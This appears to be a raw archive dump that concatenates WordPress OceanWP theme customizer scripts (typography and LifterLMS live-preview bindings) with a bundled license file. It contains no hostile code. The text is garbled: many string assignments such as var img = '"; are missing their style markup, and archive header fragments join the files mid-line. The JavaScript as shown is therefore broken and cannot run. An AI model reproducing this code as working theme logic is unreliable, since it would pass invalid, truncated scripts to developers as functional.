if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_store_notice_mobile_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_store_notice-mobile-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_store_notice_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-store-notice-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_store_notice_tablet_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_store_notice-tablet-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_store_notice_mobile_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_store_notice-mobile-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_store_notice_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-store-notice-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_store_notice_tablet_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_store_notice-tablet-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_store_notice_mobile_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_store_notice-mobile-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_store_notice_typography[text-transform]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-store-notice-text-transform"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_store_notice_dismiss_link_typography[font-family]", function ($swipe) { $swipe.bind(function (pair) { if (pair) { /** @type {string} */ var idfirst = (pair.trim().toLowerCase().replace(" ", "-"), "customizer-typography-store-dismiss-notice-font-family"); var fontSize = pair.replace(" ", "%20"); fontSize = fontSize.replace(",", "%2C"); /** @type {string} */ fontSize = oceanwpTG.googleFontsUrl + "/css?family=" + pair + ":" + oceanwpTG.googleFontsWeight; if ($("#" + idfirst).length) { $("#" + idfirst).attr("href", fontSize); } else { $("head").append( '' ); } } var $child = $(".customizer-typography-store-dismiss-notice-font-family"); if (pair) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_store_notice_dismiss_link_typography[font-weight]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-store-dismiss-notice-font-weight"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_store_notice_dismiss_link_typography[font-style]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-store-dismiss-notice-font-style"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_store_notice_dismiss_link_typography[color]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-store-dismiss-notice-color"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_store_notice_dismiss_link_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-store-dismiss-notice-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_store_notice_dismiss_link_tablet_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_store_notice_dismiss_link-tablet-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_store_notice_dismiss_link_mobile_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_store_notice_dismiss_link-mobile-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_store_notice_dismiss_link_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-store-dismiss-notice-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_store_notice_dismiss_link_tablet_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_store_notice_dismiss_link-tablet-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_store_notice_dismiss_link_mobile_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_store_notice_dismiss_link-mobile-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_store_notice_dismiss_link_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-store-dismiss-notice-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_store_notice_dismiss_link_tablet_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_store_notice_dismiss_link-tablet-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_store_notice_dismiss_link_mobile_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_store_notice_dismiss_link-mobile-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_store_notice_dismiss_link_typography[text-transform]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-store-dismiss-notice-text-transform"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }); })(jQuery); customizer/assets/js/llms-customize-preview.js000064400000114163151551031110015671 0ustar00/** * Update Customizer settings live. * * @version 1.0.0 * * @since 2.0 */ ( function( $ ) { // Declare vars var api = wp.customize, body = $( 'body' ), siteHeader = $( '#site-header' ), llmsCol = [ '1', '2', '3', '4', '5', '6' ], llmsTabletCol = [ 'tablet-1-col', 'tablet-2-col', 'tablet-3-col', 'tablet-4-col', 'tablet-5-col', 'tablet-6-col' ], llmsMobileCol = [ 'mobile-1-col', 'mobile-2-col', 'mobile-3-col', 'mobile-4-col', 'mobile-5-col', 'mobile-6-col' ]; /******** LifterLMS *********/ // Courses columns api('ocean_llms_courses_columns', function( value ) { value.bind( function( newval ) { var coursesCol = $( '.llms-loop-list.llms-course-list' ); if ( coursesCol.length ) { $.each( llmsCol, function( i, v ) { coursesCol.removeClass( 'cols-'+ v ); }); coursesCol.addClass( 'cols-'+ newval ); } }); }), // Courses Tablet columns api('ocean_llms_tablet_courses_columns', function( value ) { value.bind( function( newval ) { var coursesCol = $( '.llms-loop-list.llms-course-list' ); if ( coursesCol.length ) { $.each( llmsTabletCol, function( i, v ) { coursesCol.removeClass( v ); }); coursesCol.addClass( 'tablet-col' ); coursesCol.addClass( 'tablet-'+ newval +'-col' ); } }); }), // Courses Mobile columns api('ocean_llms_mobile_courses_columns', function( value ) { value.bind( function( newval ) { var coursesCol = $( '.llms-loop-list.llms-course-list' ); if ( coursesCol.length ) { $.each( llmsMobileCol, function( i, v ) { coursesCol.removeClass( v ); }); coursesCol.addClass( 'mobile-col' ); coursesCol.addClass( 'mobile-'+ newval +'-col' ); } }); }); // Membership columns api('ocean_llms_membership_columns', function( value ) { value.bind( function( newval ) { var membershipCol = $( '.llms-loop-list.llms-membership-list' ); if ( membershipCol.length ) { $.each( llmsCol, function( i, v ) { membershipCol.removeClass( 'cols-'+ v ); }); membershipCol.addClass( 'cols-'+ newval ); } }); }), // Membership Tablet columns api('ocean_llms_tablet_membership_columns', function( value ) { value.bind( function( newval ) { var membershipCol = $( '.llms-loop-list.llms-membership-list' ); if ( membershipCol.length ) { $.each( llmsTabletCol, function( i, v ) { membershipCol.removeClass( v ); }); membershipCol.addClass( 'tablet-col' ); membershipCol.addClass( 'tablet-'+ newval +'-col' ); } }); }), // Membership Mobile columns api('ocean_llms_mobile_membership_columns', function( value ) { value.bind( function( newval ) { var membershipCol = $( '.llms-loop-list.llms-membership-list' ); if ( membershipCol.length ) { $.each( llmsMobileCol, function( i, v ) { membershipCol.removeClass( v ); }); membershipCol.addClass( 'mobile-col' ); membershipCol.addClass( 'mobile-'+ newval +'-col' ); } }); }), // Advanced Styling Options api("ocean_llms_top_padding", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_llms_top_padding"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_llms_right_padding", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_llms_right_padding"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_llms_bottom_padding", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_llms_bottom_padding"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_llms_left_padding", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_llms_left_padding"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_llms_tablet_top_padding", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_llms_tablet_top_padding"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_llms_tablet_right_padding", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_llms_tablet_right_padding"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_llms_tablet_bottom_padding", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_llms_tablet_bottom_padding"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_llms_tablet_left_padding", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_llms_tablet_left_padding"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_llms_mobile_top_padding", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_llms_mobile_top_padding"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_llms_mobile_right_padding", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_llms_mobile_right_padding"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_llms_mobile_bottom_padding", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_llms_mobile_bottom_padding"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_llms_mobile_left_padding", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_llms_mobile_left_padding"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_llms_image_top_margin", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_llms_image_top_margin"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_llms_image_right_margin", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_llms_image_right_margin"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_llms_image_bottom_margin", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_llms_image_bottom_margin"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_llms_image_left_margin", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_llms_image_left_margin"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_llms_image_tablet_top_margin", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_llms_image_tablet_top_margin"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_llms_image_tablet_right_margin", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_llms_image_tablet_right_margin"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_llms_image_tablet_bottom_margin", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_llms_image_tablet_bottom_margin"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_llms_image_tablet_left_margin", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_llms_image_tablet_left_margin"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_llms_image_mobile_top_margin", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_llms_image_mobile_top_margin"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_llms_image_mobile_right_margin", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_llms_image_mobile_right_margin"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_llms_image_mobile_bottom_margin", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_llms_image_mobile_bottom_margin"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_llms_image_mobile_left_margin", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_llms_image_mobile_left_margin"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_llms_top_border_width", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_llms_top_border_width"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_llms_right_border_width", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_llms_right_border_width"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_llms_bottom_border_width", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_llms_bottom_border_width"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_llms_left_border_width", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_llms_left_border_width"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_llms_tablet_top_border_width", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_llms_tablet_top_border_width"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_llms_tablet_right_border_width", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_llms_tablet_right_border_width"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_llms_tablet_bottom_border_width", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_llms_tablet_bottom_border_width"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_llms_tablet_left_border_width", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_llms_tablet_left_border_width"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_llms_mobile_top_border_width", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_llms_mobile_top_border_width"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_llms_mobile_right_border_width", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_llms_mobile_right_border_width"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_llms_mobile_bottom_border_width", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_llms_mobile_bottom_border_width"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_llms_mobile_left_border_width", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_llms_mobile_left_border_width"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_llms_top_border_radius", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_llms_top_border_radius"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_llms_right_border_radius", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_llms_right_border_radius"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_llms_bottom_border_radius", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_llms_bottom_border_radius"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_llms_left_border_radius", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_llms_left_border_radius"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_llms_tablet_top_border_radius", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_llms_tablet_top_border_radius"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_llms_tablet_right_border_radius", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_llms_tablet_right_border_radius"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_llms_tablet_bottom_border_radius", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_llms_tablet_bottom_border_radius"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_llms_tablet_left_border_radius", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_llms_tablet_left_border_radius"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_llms_mobile_top_border_radius", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_llms_mobile_top_border_radius"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_llms_mobile_right_border_radius", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_llms_mobile_right_border_radius"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_llms_mobile_bottom_border_radius", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_llms_mobile_bottom_border_radius"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_llms_mobile_left_border_radius", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_llms_mobile_left_border_radius"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_llms_background_color", function($swipe) { $swipe.bind(function(size) { $(".llms-loop-item .llms-loop-item-content").css("background-color", size); }); }), api("ocean_llms_border_color", function($swipe) { $swipe.bind(function(size) { $(".llms-loop-item .llms-loop-item-content").css("border-color", size); }); }), api("ocean_llms_title_color", function($swipe) { $swipe.bind(function(size) { $(".llms-loop-item-content .llms-loop-title").css("color", size); }); }), api("ocean_llms_title_color_hover", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-llms_title_color_hover"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_llms_author_color", function($swipe) { $swipe.bind(function(size) { $(".llms-loop-item-content .llms-author").css("color", size); }); }), api("ocean_llms_meta_color", function($swipe) { $swipe.bind(function(size) { $(".llms-loop-item-content .llms-meta").css("color", size); }); }), api("ocean_llms_course_title_color", function($swipe) { $swipe.bind(function(size) { $(".single-course .entry-title").css("color", size); }); }), api("ocean_llms_course_subtitle_color", function($swipe) { $swipe.bind(function(size) { $(".single-course .llms-meta-title").css("color", size); }); }), api("ocean_llms_course_meta_title_color", function($swipe) { $swipe.bind(function(size) { $(".llms-meta-info .llms-meta p").css("color", size); }); }), api("ocean_llms_course_meta_link_color", function($swipe) { $swipe.bind(function(size) { $(".llms-meta-info .llms-meta span, .llms-meta-info .llms-meta a").css("color", size); }); }), api("ocean_llms_course_meta_link_color_hover", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-llms_course_meta_link_color_hover"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_llms_course_author_color", function($swipe) { $swipe.bind(function(size) { $(".llms-instructor-info .llms-instructors .llms-author").css("color", size); }); }), api("ocean_llms_course_progress_color", function($swipe) { $swipe.bind(function(size) { $(".llms-progress .progress-bar-complete").css("color", size); }); }), api("ocean_llms_course_section_title_color", function($swipe) { $swipe.bind(function(size) { $(".llms-syllabus-wrapper .llms-section-title, .llms-access-plan-title").css("color", size); }); }), api("ocean_llms_course_section_title_background", function($swipe) { $swipe.bind(function(size) { $(".llms-syllabus-wrapper .llms-section-title, .llms-access-plan-title").css("background-color", size); }); }), api("ocean_llms_lesson_title_color", function($swipe) { $swipe.bind(function(size) { $(".single-lesson .entry-title").css("color", size); }); }), api("ocean_llms_lesson_description_color", function($swipe) { $swipe.bind(function(size) { $(".single-lesson .entry-content").css("color", size); }); }), // Both Sidebars - LLMS Global api( 'ocean_llms_global_both_sidebars_content_width', function( value ) { value.bind( function( to ) { var $child = $( '.customizer-ocean_llms_global_both_sidebars_content_width' ); if ( to ) { var style = ''; if ( $child.length ) { $child.replaceWith( style ); } else { $( 'head' ).append( style ); } } else { $child.remove(); } } ); }), api( 'ocean_llms_global_both_sidebars_sidebars_width', function( value ) { value.bind( function( to ) { var $child = $( '.customizer-ocean_llms_global_both_sidebars_sidebars_width' ); if ( to ) { var style = ''; if ( $child.length ) { $child.replaceWith( style ); } else { $( 'head' ).append( style ); } } else { $child.remove(); } } ); }), // Both Sidebars - LLMS Course api( 'ocean_llms_course_both_sidebars_content_width', function( value ) { value.bind( function( to ) { var $child = $( '.customizer-ocean_llms_course_both_sidebars_content_width' ); if ( to ) { var style = ''; if ( $child.length ) { $child.replaceWith( style ); } else { $( 'head' ).append( style ); } } else { $child.remove(); } } ); }), api( 'ocean_llms_course_both_sidebars_sidebars_width', function( value ) { value.bind( function( to ) { var $child = $( '.customizer-ocean_llms_course_both_sidebars_sidebars_width' ); if ( to ) { var style = ''; if ( $child.length ) { $child.replaceWith( style ); } else { $( 'head' ).append( style ); } } else { $child.remove(); } } ); }), // Both Sidebars - LLMS Lesson api( 'ocean_llms_lesson_both_sidebars_content_width', function( value ) { value.bind( function( to ) { var $child = $( '.customizer-ocean_llms_lesson_both_sidebars_content_width' ); if ( to ) { var style = ''; if ( $child.length ) { $child.replaceWith( style ); } else { $( 'head' ).append( style ); } } else { $child.remove(); } } ); }), api( 'ocean_llms_lesson_both_sidebars_sidebars_width', function( value ) { value.bind( function( to ) { var $child = $( '.customizer-ocean_llms_lesson_both_sidebars_sidebars_width' ); if ( to ) { var style = ''; if ( $child.length ) { $child.replaceWith( style ); } else { $( 'head' ).append( style ); } } else { $child.remove(); } } ); }); } )( jQuery );customizer/assets/js/customize-search.js.LICENSE.txt000064400000002063151551031110016402 0ustar00/* object-assign (c) Sindre Sorhus @license MIT */ /*! Copyright (c) 2018 Jed Watson. Licensed under the MIT License (MIT), see http://jedwatson.github.io/classnames */ /*! * perfect-scrollbar v1.5.3 * Copyright 2021 Hyunje Jun, MDBootstrap and Contributors * Licensed under MIT */ /** @license React v0.20.2 * scheduler.production.min.js * * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */ /** @license React v17.0.2 * react-dom.production.min.js * * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */ /** @license React v17.0.2 * react.production.min.js * * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */ customizer/assets/js/typography-customize-preview.min.js000064400000412145151551031110017713 0ustar00!function(i){var e=wp.customize;e("body_typography[font-family]",function(e){e.bind(function(e){var t;e&&(e.trim().toLowerCase().replace(" ","-"),t="customizer-typography-body-font-family",o=(o=e.replace(" ","%20")).replace(",","%2C"),o=oceanwpTG.googleFontsUrl+"/css?family="+e+":"+oceanwpTG.googleFontsWeight,i("#"+t).length?i("#"+t).attr("href",o):i("head").append(''));var o=i(".customizer-typography-body-font-family");e?(e='",o.length?o.replaceWith(e):i("head").append(e)):o.remove()})}),e("body_typography[font-weight]",function(e){e.bind(function(e){var t=i(".customizer-typography-body-font-weight");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("body_typography[font-style]",function(e){e.bind(function(e){var t=i(".customizer-typography-body-font-style");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("body_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-body-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("body_tablet_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-body-tablet-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("body_mobile_typography[font-size]",function(e){e.bind(function(e){var t=i(".customizer-typography-body-mobile-font-size");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("body_typography[color]",function(e){e.bind(function(e){var t=i(".customizer-typography-body-color");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("body_typography[line-height]",function(e){e.bind(function(e){var t=i(".customizer-typography-body-line-height");e?(e='",t.length?t.replaceWith(e):i("head").append(e)):t.remove()})}),e("body_tablet_typography[line-height]",function(e){e.bind(function(e){var 